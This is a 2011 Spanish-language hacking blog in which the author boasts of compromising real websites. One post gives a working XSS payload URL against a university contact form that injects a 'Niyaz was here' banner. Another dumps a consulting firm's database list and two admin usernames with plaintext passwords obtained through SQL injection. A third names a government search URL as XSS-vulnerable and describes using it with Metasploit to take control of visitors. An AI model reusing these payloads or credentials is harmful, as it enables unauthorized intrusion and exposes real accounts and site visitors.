Niyaz-Blog

uvmnet.edu – Vulnerable a Xss

Niyaz — Thu, 01 Dec 2011 20:35:09 +0000

Url afectada:

http://www.uvmnet.edu/contacto/?=btnSubmit=Enviar&cboAyuda=0&cboCampus=0&cboEstado=0&check=checkbox&Opcion=0&txtComments=&txtCuenta=&txtFrom=%22%3E%3Ccenter%3E%3Cfont%20size=99%20color=red%20%3E%3Cb%3ENiyaz%20was%20here%3C/b%3E%3C/font%3E%3C/center%3Ebad%3d%22&txtName=&txtTel=&txtTelCel=

Url web:

www.uvmnet.edu

Niyaz

dtsconsulting.com – vulnerable a sql

Niyaz — Wed, 30 Nov 2011 21:54:18 +0000

Missão
Oferecer ao mercado corporativo, o melhor em Consultoria, tendo com o objetivo o aumento da produtividade e competitividade de seus clientes.

Empresa
Com mais de 3.000 consultores especializados, atuação no mercado desde 1983, Know How e experiência internacional, a DTS é uma das 10 maiores provedoras de Consultoria em alta tecnologia e está pronta para trabalhar com sua empresa, ajudando-a em projetos inovadores que tragam vantagem competitiva em seu core business.

———————————————————

Dbs:

DTS
master
tempdb
model
msdb
ReportServer
ReportServerTempDB
Amigomouse
xpress
PCD
SistemaContas
SistemaCotacoes
StockCar
SAN
DicMaxInst
Mundo_Cobol
DTS
NovoTravessia
TravessiaSistema
intranet_amsw
Winzip
sg
sg_dts
Katalogo
strattus

————————————————–

Db: DTS

Table: Adm_Admin:

Usuario: danielt Contraseña: 20danielt06

Usuario: marciadts Contraseña: dts82latin

——————————————————————

Esto entre otras cosas interesantes

Saludos

By Niyaz

por que tanto Xss o Cross Site Scripting??

Niyaz — Wed, 30 Nov 2011 21:29:33 +0000

Son muchas las cosas que puede hacer con un Xss, desde obtener una cookie, infectar, redireccionar a una web maliciosa, etc.

Pero hay algo mas que se puede hacer, como en este caso poder tener acceso al equipo de la victima y tener un control total de ella.

Esto es muy sencillo con el simple uso de Metasploit, en este caso no voy a dar mas explicaciones de como hacer esto, ya que es algo sencillo:

Simplemente ingresando un codigo a la url:

http://www.ifai.org.mx/buscador_ifai/buscar.do?type=all&spell=true&lemmatize=true&fuentes=4&queryStr=

Mas que nada esto es para poder mostrar la gravedad de esta “simple falla”.

Esto principalmente afecta a los clientes de dicha web.

Feliz día de la seguridad informática!!

Niyaz — Wed, 30 Nov 2011 21:12:18 +0000

Como hoy bien sabemos se celebra el día de la seguridad informática. Actualmente ha aumentado el numero de ataques informáticos, por descuido de los administradores o por el simple hecho de no darle importancia y querer pagar por esos servicios.

“No debemos descuidar o dejar de darle importancia a una falla por mas mínima que sea”

Saludos.